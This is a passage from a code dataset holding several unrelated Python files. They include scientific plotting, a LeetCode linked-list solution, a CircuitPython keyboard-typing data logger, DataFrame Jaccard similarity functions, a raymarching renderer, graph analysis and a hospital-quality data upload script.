os.path.join(repodir,'results','radiative_features')\nfigdir = os.path.join(repodir,'figures','paper')\ninputdir = '/Users/bfildier/Dropbox/Data/EUREC4A/sondes_radiative_profiles/'\nradinputdir = os.path.join(repodir,'input')\nimagedir = os.path.join(repodir,'figures','snapshots','with_HALO_circle')\nscriptsubdir = 'Fildier2021'\n\n# Load own module\nprojectname = 'EUREC4A_organization'\nthismodule = sys.modules[__name__]\n\n## Own modules\nsys.path.insert(0,moduledir)\nprint(\"Own modules available:\", [os.path.splitext(os.path.basename(x))[0]\n for x in glob.glob(os.path.join(moduledir,'*.py'))])\n\n\n##--- local functions\n\nfrom radiativefeatures import *\nfrom radiativescaling import *\n# from thermodynamics import *\nfrom conditionalstats import *\nfrom matrixoperators import *\nfrom thermoConstants import *\nfrom thermoFunctions import *\n\nmo = MatrixOperators()\n\ndef defineSimDirectories():\n \"\"\"Create specific subdirectories\"\"\"\n \n # create output directory if not there\n os.makedirs(os.path.join(figdir),exist_ok=True)\n \n \nif __name__ == \"__main__\":\n \n # arguments\n parser = argparse.ArgumentParser(description=\"Draw paper figures from all precomputed data\")\n parser.add_argument('--overwrite',type=bool,nargs='?',default=False)\n\n # output directory\n defineSimDirectories()\n \n ##-- Load all data\n \n exec(open(os.path.join(workdir,\"load_data.py\")).read())\n \n #%% Figure S1 -- Diurnal cycle\n \n i_fig = 1\n \n rad_range = 'lw'\n rad_labels = {'net':'',\n 'sw':'SW',\n 'lw':'LW'}\n rad_titles = {'net':'Net heating',\n 'sw':'Shortwave',\n 'lw':'Longwave'}\n \n PW_lims = [20,50] # km\n \n # colors\n cmap = plt.cm.ocean_r\n vmin = PW_lims[0]\n vmax = PW_lims[1]\n \n def defineCol(var_col,cmap,vmin,vmax):\n \n norm = matplotlib.colors.Normalize(vmin=vmin,vmax=vmax)\n scmap = cm.ScalarMappable(norm=norm, cmap=cmap)\n cols = cmap(norm(var_col),bytes=True)/255 \n \n return cols,scmap\n \n ##-- plot\n \n fig,axs = plt.subplots(ncols=3,nrows=2,figsize=(13,8))\n \n x_left = np.nan\n x_right = np.nan\n y_bot = np.nan\n y_top = np.nan\n \n days2show = ['20200122','20200202']\n \n for day,axs_row in zip(days2show,axs):\n \n print('--',day)\n \n f = rad_features_all[day]\n var_col = f.pw\n cols,scmap = defineCol(var_col,cmap,vmin,vmax)\n \n date = pytz.utc.localize(dt.strptime(day,'%Y%m%d'))\n day_str = date.strftime(\"%Y-%m-%d\")\n t = np.array([(pytz.utc.localize(dt.strptime(str(t)[:19],\"%Y-%m-%dT%H:%M:%S\")) - date).seconds/3600 for t in f.launch_time])\n \n for ax,rad_range in zip(axs_row,list(rad_labels.keys())):\n \n print('-',rad_range)\n \n for i_lt in range(f.launch_time.size):\n \n # print(i_lt,end='..')\n x = t[i_lt]\n y = getattr(f,'qrad_%s_smooth'%rad_range)[i_lt,f.i_lw_peak[i_lt]]\n c = f.pw[i_lt]\n \n ax.scatter(x=x,y=y,c=[cols[i_lt][:3]],vmin=vmin,vmax=vmax)\n \n # titles\n if day == days2show[0]:\n ax.set_title(rad_titles[rad_range])\n # x labels\n if day == days2show[1]:\n ax.set_xlabel('Time of day (hr)')\n # y labels\n if rad_range == 'net':\n ax.set_ylabel('Cooling (K/day) on day %s'%day_str)\n \n \n # Save boundaries for legend\n x,y,w,h = ax.get_position().bounds\n x_left = np.nanmin(np.array([x,x_left]))\n x_right = np.nanmax(np.array([x+w,x_right]))\n y_bot = np.nanmin(np.array([y,y_bot]))\n y_top = np.nanmax(np.array([y+h,y_top]))\n \n # Color bar\n dx = (x_right-x_left)/60\n cax = plt.axes([x_right+2*dx,y_bot,dx,y_top-y_bot])\n cbar = fig.colorbar(scmap, cax=cax,orientation='vertical')\n cbar.ax.set_ylabel('PW (mm)',fontsize=14)\n \n #--- Add panel labeling\n pan_labs = [\"(%s)\"%chr(i) for i in range(ord('a'), ord('f')+1)]\n for ax,pan_lab in zip(axs.flatten(),pan_labs):\n t = ax.text(0.04,0.91,pan_lab,transform=ax.transAxes,fontsize=14)\n t.set_bbox(dict(facecolor='w',alpha=0.8,edgecolor='none'))\n \n #--- save\n plt.savefig(os.path.join(figdir,'FigureS%d.pdf'%i_fig),bbox_inches='tight')\n # plt.savefig(os.path.join(figdir,'FigureS%d.png'%i_fig),dpi=300,bbox_inches='tight')\n \n \n \n \n","sub_path":"scripts/FigureS1.py","file_name":"FigureS1.py","file_ext":"py","file_size_in_byte":5800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"637415409","text":"# https://leetcode.com/problems/palindrome-linked-list/submissions/\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def isPalindrome(self, head: ListNode) -> bool:\n if(not head): return True\n if(not head.next): return True\n \n # find middle, bifurcate ll in 2 ll, reverse second, use 2 pointers to iterate and check palindrome\n \n # initialize last half ll\n head1 = None\n \n # find middle and bifurcate\n slow, fast = head, head.next\n while(fast.next and fast.next.next):\n fast = fast.next.next\n slow = slow.next\n if(fast.next): # means odd length\n head1 = slow.next.next\n slow.next = None\n else: # even length\n head1 = slow.next\n slow.next = None\n \n # reverse last half part of link list\n prev, cur, next_ = None, head1, head1.next\n while(cur):\n cur.next = prev\n \n prev = cur\n cur = next_\n if(next_): next_ = next_.next\n head1 = prev\n \n # check palindrome\n p1, p2 = head, head1\n while(p1 and p2):\n if(p1.val != p2.val):\n return False\n p1 = p1.next\n p2 = p2.next\n \n if(p1 != p2): # any of them not null means length is not same\n return False\n else:\n return True\n","sub_path":"LeetCode/LinkList/234. Palindrome Linked List.py","file_name":"234. Palindrome Linked List.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"505787879","text":"# Circuit Playground Express Data Time/Light Intensity/Temp\n# Log data to a spreadsheet on-screen\n# Open Spreadsheet beforehand and position to start (A,1)\n# Use slide switch to start and stop sensor readings\n# Time values are seconds since board powered on (relative time)\n\nimport time\nfrom adafruit_hid.keyboard import Keyboard\nfrom adafruit_hid.keycode import Keycode\n#https://learn.adafruit.com/circuitpython-essentials/circuitpython-hid-keyboard-and-mouse\nimport usb_hid\nfrom adafruit_hid.keyboard_layout_us import KeyboardLayoutUS\nfrom adafruit_circuitplayground.express import cpx\nimport analogio\nimport board\n\n#print(dir(cpx)) - Not supported in 6.1.0\n\nphotocell = analogio.AnalogIn(board.A2)\n\n# Set the keyboard object!\n# Sleep for a bit to avoid a race condition on some systems\ntime.sleep(1)\nkbd = Keyboard(usb_hid.devices)\nlayout = KeyboardLayoutUS(kbd) # US is only current option...\n\ndef slow_write(string): # Typing should not be too fast for\n for c in string: # the computer to be able to accept\n layout.write(c)\n time.sleep(0.02) # use 1/5 second pause between characters\n\ntimestart = 0\ntimewindow = 100\nwhile True:\n currenttime = time.monotonic()\n print(currenttime,photocell.value)\n if cpx.switch or currenttime > timestart + timewindow: # If the slide switch is on, don't log\n #print(\"Flip Switch to start logging\")\n cpx._led.value = True\n time.sleep(0.1)\n cpx._led.value = False\n time.sleep(0.1)\n if currenttime < timestart + timewindow or timestart == 0:\n timestart = time.monotonic()\n continue\n\n # Turn on the LED to show we're logging\n cpx._led.value = True\n #x,y,z = cpx.acceleration\n # Format data into value 'output'\n output = \"%0.4f\\t%0.4f\\n\" % (time.monotonic(), photocell.value)\n print(output) # Print to serial monitor\n slow_write(output) # Print to spreadsheet\n\n cpx._led.value = False\n # Change 0.1 to whatever time you need between readings\n time.sleep(0.1)","sub_path":"Circuit_Playground/CircuitPython/Data_Logging/typing/typing_photocell.py","file_name":"typing_photocell.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"572671587","text":"import sys\nimport os\nimport pandas as pd\nimport itertools\n# import collections\n# import merkle_tree\nimport numpy as np\n\n\nfrom glob import glob\nfrom tqdm import tqdm_notebook\n\nimport numpy.testing as npt\n\nfrom datasketch import MinHash\n\n\n# TODO: clean up project structure\nsys.path.append('../merkle/')\nsys.path.append('../lsh_forest/')\n\n\n# Read directory path and glob pattern and retrun a dict of dataframes\n# for each file inside\ndef load_dataset_dir(dirpath, glob_pattern, **kwargs):\n dataset = {}\n for filename in glob(dirpath+glob_pattern):\n dataset[os.path.basename(filename)] = pd.read_csv(filename, **kwargs)\n return dataset\n\n\n# Compute pairwise similarity metrics of dataset dict using similarity_metric\n# returns reverse sorted list of (pair1, pair2, similarity_score) tuples\ndef get_pairwise_similarity(dataset, similarity_metric, threshold=-1.0):\n pairwise_similarity = []\n pairs = list(itertools.combinations(dataset.keys(), 2))\n for d1, d2 in tqdm_notebook(pairs, desc='graph pairs', leave=False):\n score = similarity_metric(dataset[d1], dataset[d2])\n if score >= threshold:\n pairwise_similarity.append((d1, d2, score))\n else:\n pass\n #print(\"WARNING: DROPPING\",d1,d2, score, threshold)\n\n pairwise_similarity.sort(key=lambda x: x[2], reverse=True)\n return pairwise_similarity\n\n\n# Jaccard Functions\n# Compute Raw Jaccard Similarity between two dataframes\n# SLOWWW\ndef get_jaccard_coefficient_slow(df1, df2):\n rowsize = max(df1.shape[0], df2.shape[0])\n colsize = max(df1.shape[1], df2.shape[1])\n\n # print total\n\n intersection = 0.0\n for i in range(rowsize):\n for j in range(colsize):\n try:\n try:\n npt.assert_equal(df1.iloc[i][j], df2.iloc[i][j])\n intersection += 1\n except AssertionError as e:\n pass\n except IndexError as e:\n pass\n\n # print intersection\n\n union = (df1.size + df2.size) - intersection\n\n return intersection / union\n\n\n# FASTER but FillNa might pose problems.\ndef get_jaccard_coefficient(df1, df2):\n minshape = np.minimum(df1.shape, df2.shape)\n iM = np.equal(df1.fillna(np.NINF).values[:minshape[0], :minshape[1]],\n df2.fillna(np.NINF).values[:minshape[0], :minshape[1]])\n intersection = np.sum(iM)\n union = (df1.size + df2.size) - intersection\n return float(intersection) / union\n\ndef get_minhash_coefficient(df1,df2):\n pass\n\n\n#Assumes corresponding column names are same and PK refers to same column.\ndef compute_jaccard_DF(df1,df2, pk_col_name=None):\n\n # fill NaN values in df1, df2 to some token val\n df1 = df1.fillna('jac_tmp_NA')\n df2 = df2.fillna('jac_tmp_NA')\n\n if(pk_col_name):\n df3 = df1.merge(df2, how='outer', on=pk_col_name, suffixes=['_jac_tmp_1','_jac_tmp_2'])\n else:\n df3 = df1.merge(df2, how='outer', left_index=True, right_index=True, suffixes=['_jac_tmp_1','_jac_tmp_2'])\n\n # Get set of column column names:\n comparison_cols = set(col for col in df3.columns if'_jac_tmp_' in str(col))\n common_cols = set(col.split('_jac_tmp_',1)[0] for col in comparison_cols)\n\n if(len(common_cols) == 0):\n return 0\n\n # Get set of non-common columns:\n uniq_cols = set(col for col in df3.columns if'_jac_tmp_' not in str(col))\n if(pk_col_name):\n uniq_cols.remove(pk_col_name)\n\n # Check common cols and print True/False\n for col in common_cols:\n left = col+'_jac_tmp_1'\n right = col+'_jac_tmp_2'\n df3[col] = df3[left] == df3[right]\n\n # Unique columns are already false\n for col in uniq_cols:\n df3[col] = False\n\n #Drop superflous columns\n df3 = df3.drop(columns=comparison_cols)\n if(pk_col_name):\n df3 = df3.drop(columns=[pk_col_name])\n\n # Compute Jaccard Similarity\n intersection = np.sum(np.sum(df3))\n union = df3.size\n return float(intersection) / union\n\n\n#Assumes corresponding column names and valid indices in both data frames\ndef compute_jaccard_DF_index(df1,df2):\n\n # fill NaN values in df1, df2 to some token val\n df1 = df1.fillna('jac_tmp_NA')\n df2 = df2.fillna('jac_tmp_NA')\n\n df3 = df1.merge(df2, how='outer', left_index=True, right_index=True, suffixes=['_jac_tmp_1','_jac_tmp_2'])\n\n # Get set of column column names:\n comparison_cols = set(col for col in df3.columns if'_jac_tmp_' in str(col))\n common_cols = set(col.split('_jac_tmp_',1)[0] for col in comparison_cols)\n\n if(len(common_cols) == 0):\n return 0\n\n # Get set of non-common columns:\n uniq_cols = set(col for col in df3.columns if'_jac_tmp_' not in str(col))\n\n # Check common cols and print True/False\n for col in common_cols:\n try:\n left = col+'_jac_tmp_1'\n right = col+'_jac_tmp_2'\n df3[col] = df3[left] == df3[right]\n except Exception as e:\n print(col, left, right)\n print(df3[left] == df3[right])\n raise e\n\n # Unique columns are already false\n for col in uniq_cols:\n df3[col] = False\n\n #Drop superflous columns\n df3 = df3.drop(columns=comparison_cols)\n\n # Compute Jaccard Similarity\n intersection = np.sum(np.sum(df3))\n union = df3.size\n if(union == 0):\n return 0.0\n\n del(df3)\n\n return float(intersection) / union\n\n# Assumes corresponding column names and valid indices in both data frames\ndef compute_jaccard_DF_reindex(df1,df2):\n\n # Empty DF check\n\n # fill NaN values in df1, df2 to some token val\n df1 = df1.fillna('jac_tmp_NA').reset_index(drop=True)\n df2 = df2.fillna('jac_tmp_NA').reset_index(drop=True)\n\n df3 = df1.merge(df2, how='outer', left_index=True, right_index=True, suffixes=['_jac_tmp_1','_jac_tmp_2'])\n\n # Get set of column column names:\n comparison_cols = set(col for col in df3.columns if'_jac_tmp_' in str(col))\n common_cols = set(col.split('_jac_tmp_',1)[0] for col in comparison_cols)\n\n if(len(common_cols) == 0):\n return 0.0\n\n # Get set of non-common columns:\n uniq_cols = set(col for col in df3.columns if'_jac_tmp_' not in str(col))\n\n # Check common cols and print True/False\n for col in common_cols:\n try:\n left = col+'_jac_tmp_1'\n right = col+'_jac_tmp_2'\n df3[col] = df3[left] == df3[right]\n except Exception as e:\n print(col, left, right)\n print(df3[left] == df3[right])\n raise e\n\n # Unique columns are already false\n for col in uniq_cols:\n df3[col] = False\n\n #Drop superflous columns\n df3 = df3.drop(columns=comparison_cols)\n\n # Compute Jaccard Similarity\n intersection = np.sum(np.sum(df3))\n union = df3.size\n if(union == 0):\n return 0.0\n\n del(df3)\n\n return float(intersection) / union\n","sub_path":"similarity.py","file_name":"similarity.py","file_ext":"py","file_size_in_byte":6862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"86781846","text":"from flask import Blueprint, redirect, url_for, flash\n\nmod = Blueprint(\"error\", __name__)\n\n\n#ERROR HANDLERS\n@mod.app_errorhandler(404)\ndef page_not_found(error):\n flash(\"Not allowed. The page or item you've requested doesn't exist.\", \n \"error\")\n return redirect(url_for(\"home.read_main\"))\n","sub_path":"item_catalogue/item_catalogue/handlers/error/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"581503427","text":"import pygame\nimport random\nimport math as math\nimport numpy as np\n\nMAX_DIST = 500000;\nITERATIONS = 50;\nCw = 400\nCh = 400\n\n_Object1 = np.array([50.,50.,50.,49.])\n_Object2 = np.array([0.,0.,50.,49.])\n_Object3 = np.array([0.,0.,50.,49.])\n\ndef normalize(A):\n\tB = np.array([0,0,0])\n\tc = 0.0000001\n\tB[0] = A[0]/math.sqrt((A[0]+c)**2+(A[1]+c)**2+(A[2]+c)**2)\n\tB[1] = A[1]/math.sqrt((A[0]+c)**2+(A[1]+c)**2+(A[2]+c)**2)\n\tB[2] = A[2]/math.sqrt((A[0]+c)**2+(A[1]+c)**2+(A[2]+c)**2)\n\t\n\treturn B\n\ndef length_v(A):\n\treturn math.sqrt(A[0]**2+A[1]**2+A[2]**2)\n\ndef clamp(num, min_value, max_value):\n return max(min(num, max_value), min_value)\n\ndef lerp(start, end, t):\n return start * (1 - t) + end * t\n\n\ndef smin(a, b, k):\n\n\th = clamp(0.5 + 0.5 * (b - a) / k, 0.0, 1.0);\n\treturn lerp(b, a, h) - k * h * (1.0 - h);\n\n\ndef plane(p):\n \n\treturn p[1];\n \n\ndef sphere(s, p):\n\treturn length_v(p - np.array([s[0],s[1],s[2]])) - s[3];\n\n\ndef cube(s, p):\n\tq = np.abs(p - np.array([s[0],s[1],s[2]],float)) - s[2];\n\t\n\t#length(max(abs(pos)-b, 0.0))-r;\n\tif q[0]>0 and q[1] > 0 and q[2] > 0:\n\t\treturn length_v(q)\n\treturn 99999\n\ndef getDist(p):\n\n\tdist1 = sphere(_Object1, p);\n\tdist2 = sphere(_Object3, p);\n\t#dist2 = cube(_Object2, p);\n\t#dist3 = plane(p);\n\t#dist3 = 9999;\n\t#return smin(smin(dist1, dist2, 0.5), dist3, 0.5);\n\treturn min(dist1, dist2)\n\t#return dist2\n\ndef getNormal(p):\n \n\td = getDist(p);\n\te = np.array([0.001, 0],float);\n\tn = d - np.array([getDist(p - np.array([e[0],e[1],e[1]])), getDist(p - np.array([e[1],e[0],e[1]])), getDist(p - np.array([e[1],e[1],e[0]]))]);\n\treturn normalize(n);\n \n\ndef raymarchLight(ro, rd):\n \n\tdO = 0;\n\tmd = 1;\n\tfor i in range(20):\n\t\tp = ro + rd * dO;\n\t\tdS = getDist(p);\n\t\tmd = min(md, dS);\n\t\tdO += dS;\n\t\tif(dO > 50 or dS < 0.1):\n\t\t\tbreak;\n\treturn md;\n\ndef getLight(p, ro, i, lightPos):\n\t\n\tl = normalize(lightPos - p);\n\tn = getNormal(p);\n\tdif = clamp(np.dot(n, l) * 0.5 + 0.5, 0, 1);\n\td = raymarchLight(p + n, l);\n\td += 1;\n\td = clamp(d, 0, 1);\n\tdif *= d;\n\tcol = np.array([dif, dif, dif, 1]);\n\tocc = (float(i) / ITERATIONS * 2);\n\tocc = (1 - occ)**2;\n\tcol = col*occ\n\t#print(col)\n\t#col[0] *= (1 - fog) + 0.28 * fog;\n\t#col[1] *= (1 - fog) + 0.28 * fog;\n\t#col[2] *= (1 - fog) + 0.28 * fog;\n\treturn col;\n\n\ndef raymarch(ro, rd):\n\n\tp = rd;\n\tfor i in range(ITERATIONS):\n\t\td = getDist(p);\n\t\t#print(d,p,i)\n\t\tif(d > MAX_DIST):\n\t\t\treturn (0,255,0);\n\t\tp[2] +=d;\n\t#print(d)\n\tif(abs(d) < 0.1):\n\t\treturn (255,0,0)\n\t\t#return [255,255,255,2]*getLight(p, ro, i, [0, 100, 0]);\n\treturn (0,255,0)\n\nclass render():\n\tdef __init__(self, razmer, color):\n\t\tself.color = color\n\t\tself.razmer = razmer\n\n\tdef render(self):\n\t\tglobal scene\n\t\tsf = pygame.Surface (self.razmer)\n\t\tar = pygame.PixelArray(sf)\n\t\t\n\t\tfor x in range(-Cw//2,Ch//2,1):\n\t\t#for x in range(Cw):\n\t\t\tprint(x)\n\t\t\tfor y in range(-Cw//2,Ch//2,1):\n\t\t\t#for y in range(Ch):\n\t\t\t\tD = np.array([x,y,1],float)\n\t\t\t\tcolor = raymarch([0.,0.,0.], D)\n\t\t\t\t#print(color)\n\t\t\t\tar[x+400,y+400] = (color[0],color[1],color[2])\n\t\t#print(ar)\n\t\tdel ar\n\t\treturn sf\n\t\n\n","sub_path":"RayMarching.py","file_name":"RayMarching.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"432125237","text":"\n'''\n我们都知道兔子繁殖能力是惊人的,如下图:\n\n\n我们可以用数学函数来定义:\n 1,当n=1 F(n) = 1,\n当n=2 ,F(n) = 1\n F(n-1)+F(n-2),当n>2\n\n课间练习:假设我们需要求出经历了20个月后,总共有多少对小兔崽子?(迭代 vs 递归)\n改成35 会卡 效率低\n用迭代代码来实现基本是毫秒级的,而用递归来实现就考验你的CPU能力啦(N秒~N分钟不等)。\n这就是小甲鱼不支持大家所有东西都用递归求解的原因,本来好好的一个代码,\n给你用了递归,效率反而拉下了一大截\n'''\n\n\n\n\ndef fab(n):\n if n < 1:\n print('输入有误!')\n return -1\n\n if n == 1 or n == 2:\n return 1\n else:\n return fab(n-1) + fab(n-2)\n\nresult = fab(35)\nif result != -1:\n print('总共有%d对小兔崽子诞生!' % result)\n","sub_path":"fab_2.py","file_name":"fab_2.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"396180176","text":"# -*- coding: utf-8 -*-\nimport sys\nif sys.version_info[0] < 3:\n reload(sys)\n sys.setdefaultencoding(\"utf-8\")\n # raise \"Must be using Python 3\"\nelse:\n unicode = str\n\n\ndef any2unicode(text, encoding='utf8', errors='strict'):\n \"\"\"Convert a string (bytestring in `encoding` or unicode), to unicode.\"\"\"\n if isinstance(text, unicode):\n return text\n return unicode(text, encoding, errors=errors)\n","sub_path":"utils/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"56606537","text":"#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\r\nimport os\r\nimport sys\r\nimport re\r\nimport time\r\nimport struct\r\n\r\n\r\ndef print_data_file(filename):\r\n\t# file struct\r\n\tfileStruct = {'Version': '',\r\n\t\t\t# Date (year, month, day, hour, minute, second, ms)\r\n\t\t\t'Date': (),\r\n\t\t\t'Declaration': '',\r\n\t\t\t'OffsetToData': 0,\r\n\t\t\t'Records': {}\r\n\t\t\t}\r\n\tf = open(filename, 'rb')\r\n\tfileStruct['Version'] = f.read(4)\r\n\tdef BCD2N(c):\r\n\t\treturn int(hex(ord(c))[2:])\r\n\tb8s = map(BCD2N, f.read(8))\r\n\tfileStruct['Date'] = (b8s[0]*100 + b8s[1],) + tuple(b8s[2:])\r\n\tfileStruct['Declaration'] = f.read(4)\r\n\tdef BIN2DW(s):\r\n\t\treturn struct.unpack('>I', s)[0]\r\n\tdef B2N(s):\r\n\t\treturn struct.unpack('>B', s)[0]\r\n\trn = BIN2DW(f.read(4))\r\n\toffset = BIN2DW(f.read(4))\r\n\tassert(offset == 24)\r\n\tfileStruct['OffsetToData'] = offset\r\n\t\r\n\t# print\r\n\tprint('Data Version: %(Version)s' % fileStruct)\r\n\tprint('Data Created Date: %d-%d-%d %d:%d:%d %d*10ms' % fileStruct['Date'])\r\n\tprint('Data Declaration: %(Declaration)s' % fileStruct)\r\n\tprint('MultiESR Data Record Number: %d' % (rn,))\r\n\tprint('Offset to MulESR Data: %(OffsetToData)d' % fileStruct)\r\n\tprint('')\r\n\r\n\tids = []\r\n\toffsets = []\r\n\tfor n in range(rn):\r\n\t\tids.append(BIN2DW(f.read(4)))\r\n\t\toffsets.append(BIN2DW(f.read(4)))\r\n\tfor n in range(rn):\r\n\t\tid = ids[n]\r\n\t\toffset = offsets[n]\r\n\t\tf.seek(offset)\r\n\t\trecordSize = B2N(f.read(1))\r\n\t\tstrNum = B2N(f.read(1))\r\n\t\tss = f.read(recordSize - 1)\r\n\t\tassert(ss[-1] == '\\0')\r\n\t\tss = ss[:-1]\r\n\t\tstrs = ss.split(' / ')\r\n\r\n\t\tassert(len(strs) == strNum)\r\n\t\tassert(not fileStruct['Records'].has_key(id))\r\n\t\tfileStruct['Records'][id] = tuple(strs)\r\n\r\n\t\t# print \r\n\t\tprint('MultiESR Data Record No.%d' % (n+1,))\r\n\t\tprint('MultESR Data Record ID: %d' % (id,))\r\n\t\tprint('Offset to MultESR Data: %d' % (offset,))\r\n\t\tprint('ESR Number: %d' % (strNum,))\r\n\t\tfor nn in range(strNum):\r\n\t\t\tprint('ESR1: %s' % (strs[nn],))\r\n\t\tprint('')\r\n\r\n\r\ndef main():\r\n\tif len(sys.argv) != 2:\r\n\t\tprint('Usage:')\r\n\t\tprint('MltPhonemeView.py inputfile')\r\n\t\treturn\r\n\tprint_data_file(sys.argv[1])\r\n\r\nif __name__ == '__main__':\r\n\tmain()\r\n\r\n\r\n","sub_path":"pycode/MltPhonemeView.py","file_name":"MltPhonemeView.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"105601720","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nfile = open('benchmark/input10.txt',\"r\")\nimport re\n\nloop=0\nfor x in range(3):\n loop= file.readline()\n\nl = []\nfor x in range(int(loop)+1):\n line=file.readline()\n for t in line.split():\n l.append(t)\npos={}\nprint(len(l))\nfor x in range(0,len(l)-1,3):\n pos[int(l[x])]=(float(l[x+1]),float(l[x+2]))\n # print(l[x])\n# print(pos)\n\nG=nx.Graph()\n# nx.set_node_attributes(G,'coord',pos)\nG.add_nodes_from(pos.keys())\n# print(pos.keys())\n# G.add_edges_from([(0,1),(1,2),(2,3),(3,4),(4,5),(5,6),(6,7),(7,8),(8,9)])\n# G.add_edges_from([(0,1)])\n\n# for edges\nl=[]\ntemp =file.read()\nfor i in (temp.split()):\n l.append(i);\n# print(len(l))\nfrom_node=0\nto_node=0\nfor i in range(len(l)-1):\n if(float(l[i])<50 and float(l[i+1])<50):\n from_node=int(l[i])\n to_node=int(l[i+1])\n weight=float(l[i+3])/10000000\n ++i\n print(from_node,to_node,weight)\n G.add_edge(from_node,to_node,weight=weight)\n elif(float(l[i])<50 and float(l[i-1])>50):\n to_node=int(l[i])\n weight=float(l[i+2])/10000000\n print(from_node,to_node,weight)\n G.add_edge(from_node,to_node,weight=weight)\n\n\n# dijktras path\n# print(nx.bellman_ford_path(G, 0, 1, weight='weight'))\n# distance,path = nx.single_source_dijkstra(G,0);\n# print(path[2])\n# T=nx.minimum_spanning_tree(G,weight='weight',algorithm='prim')\n# print(nx.floyd_warshall(G,weight='weight'))\nprint('average clustering ',nx.average_clustering(G))\n\n\nfig,ax = plt.subplots()\n# plt.ax('on')\nplt.xlabel('x')\nplt.ylabel('y')\nnx.draw_networkx(G,pos,ax=ax)\n# plt.plot(x,y)\nax.tick_params(left=True, bottom=True, labelleft=True, labelbottom=True)\nplt.savefig(\"simple_path.png\")\nplt.show()\n","sub_path":"average clustering.py","file_name":"average clustering.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"366382753","text":"import sqlalchemy\nimport os\nimport pandas as pd\nimport datetime as dt\nfrom my_functions import max_pd_display\n\n\"\"\"\nDate: 2019-10-18\nAuthor: Ethan Mooney\nDescription: This function takes NDNQI raw output files (specified from data provided in user input) from \nthe raw_file variable and uploads them to the unmmg-epide/PULSE database. Before it uploads data to \nndnqi_raw_export table, it removes the previous quarter data to allow the most accurate (retrod) data to be \nincluded in the table. It then takes the current quarter and the previous quarter and adds it to the table.\n\"\"\"\n\n##set the pandas disply options to view more complete data set - this is useful for debugging\n#def max_pd_display_options():\n# pd.option_context('display.max_rows', None, 'display.max_columns', None) # more options can be specified also\n# pd.options.display.max_colwidth = 199\n# pd.options.display.max_columns = 1000\n# pd.options.display.width = 1000\n# pd.options.display.precision = 2 # set as needed\n\n#print the entire contents of the updated table to excel for exploratory or debugging purposes\ndef new_table_to_excel():\n print('reading table for excel output')\n #read the sql query return to a dataframe\n test_table = pd.read_sql_query(sql_all, con=engine)\n\n print('writing to excel')\n # write the table to an excel file\n test_table.to_excel(raw_file + 'test_out.xlsx')\n\n#make column headers in a format that works well with pandas\ndef wrangle_upload_columns():\n # replace any \" - \" with \" \" (spaces) so they can be removed \n df_to_upload.columns = df_to_upload.columns.str.replace(' - ', ' ')\n # replace \" \" with \"_\" to work better with sql statements\n df_to_upload.columns = df_to_upload.columns.str.replace(' ', '_')\n\n # add a timestamp column to record when the upload transaction takes place\n df_to_upload['upload_timestamp'] = timestamp\n\n#########################################################################################\n# defining a butt-load of variables here:\n#########################################################################################\nyear = input('What is the year of your data (ex: 2019)?')\nqtr = input('What is the quarter of your data(ex: 2)?')\n# define the path that all the files to upload are in\nraw_file = r'K:\\\\NDNQI\\Data Reporting\\NDNQI Raw Output Files\\\\'\n# define dictionary to return previous quarter of qtr input string\nqtr_dict = {'1':4, '2':1, '3':2, '4':3}\n# if statement to correct year of previous quarter in the case the input qtr is 1\nif qtr == '1':\n last_qtr_year = int(year) - 1\nelse:\n last_qtr_year = int(year)\n# define the last quarter (qtr)\nlast_qtr = str(qtr_dict[qtr])\n# concat the last year and last quarter as an int type variable\nlast_qtr_year_and_qtr_int = int(str(last_qtr_year) + last_qtr)\n#concat the input year and qtr as a string variable used in file names\nyear_and_qtr_str = year + '_Q' + qtr\n# concat the year and qtr then make it an int for use in sql queries\nyear_and_qtr_int = int(year + qtr)\n# define a timestamp variable\ntimestamp = dt.datetime.now()\n#define new variable of the left 10 timestamp digits to modify file names showing date they were uploaded to database\ntimestamp_left10 = str(timestamp)[:10]\n#sql statement to remove the data from the last quarter\ndelete_last_quarter = str(\" \\\n DELETE \\\n FROM ndnqi_raw_export\" \\\n \" WHERE quarter = \" + str(last_qtr_year_and_qtr_int))\n#sql query to select all records from the table (mostly useful in debugging but not bad to\n# have an excel copy if the table is not too big\nsql_all = \" \\\n SELECT * \\\n FROM ndnqi_raw_export\" \\\n\n\n# read the excel file from the raw file path with the year and quarter as named in folder\ndf_to_upload = pd.read_excel(raw_file + 'NDNQI Raw Output ' + year_and_qtr_str + '.xlsx')\n#limit the dataframe to upload to only the current quarter and the last quarter (to capture retro data)\ndf_to_upload = df_to_upload[df_to_upload['Quarter'].isin([year_and_qtr_int, last_qtr_year_and_qtr_int])]\n\n\nmax_pd_display()\n\n# connect to database\nprint('connecting to database')\nengine = sqlalchemy.create_engine('mssql+pymssql://unmmg-epide/PULSE')\n\n#execute the sql to delete last quarter; the sql statement is defined in the variables function\nprint('removing previous quarter data (' + str(last_qtr_year_and_qtr_int) +')')\nengine.execute(delete_last_quarter)\n\n#make column headers to a format that works well with pandas\nwrangle_upload_columns()\n\n# append the table with the trimmed dataframe\nprint(\"loading file: \" 'NDNQI Raw Output ' + 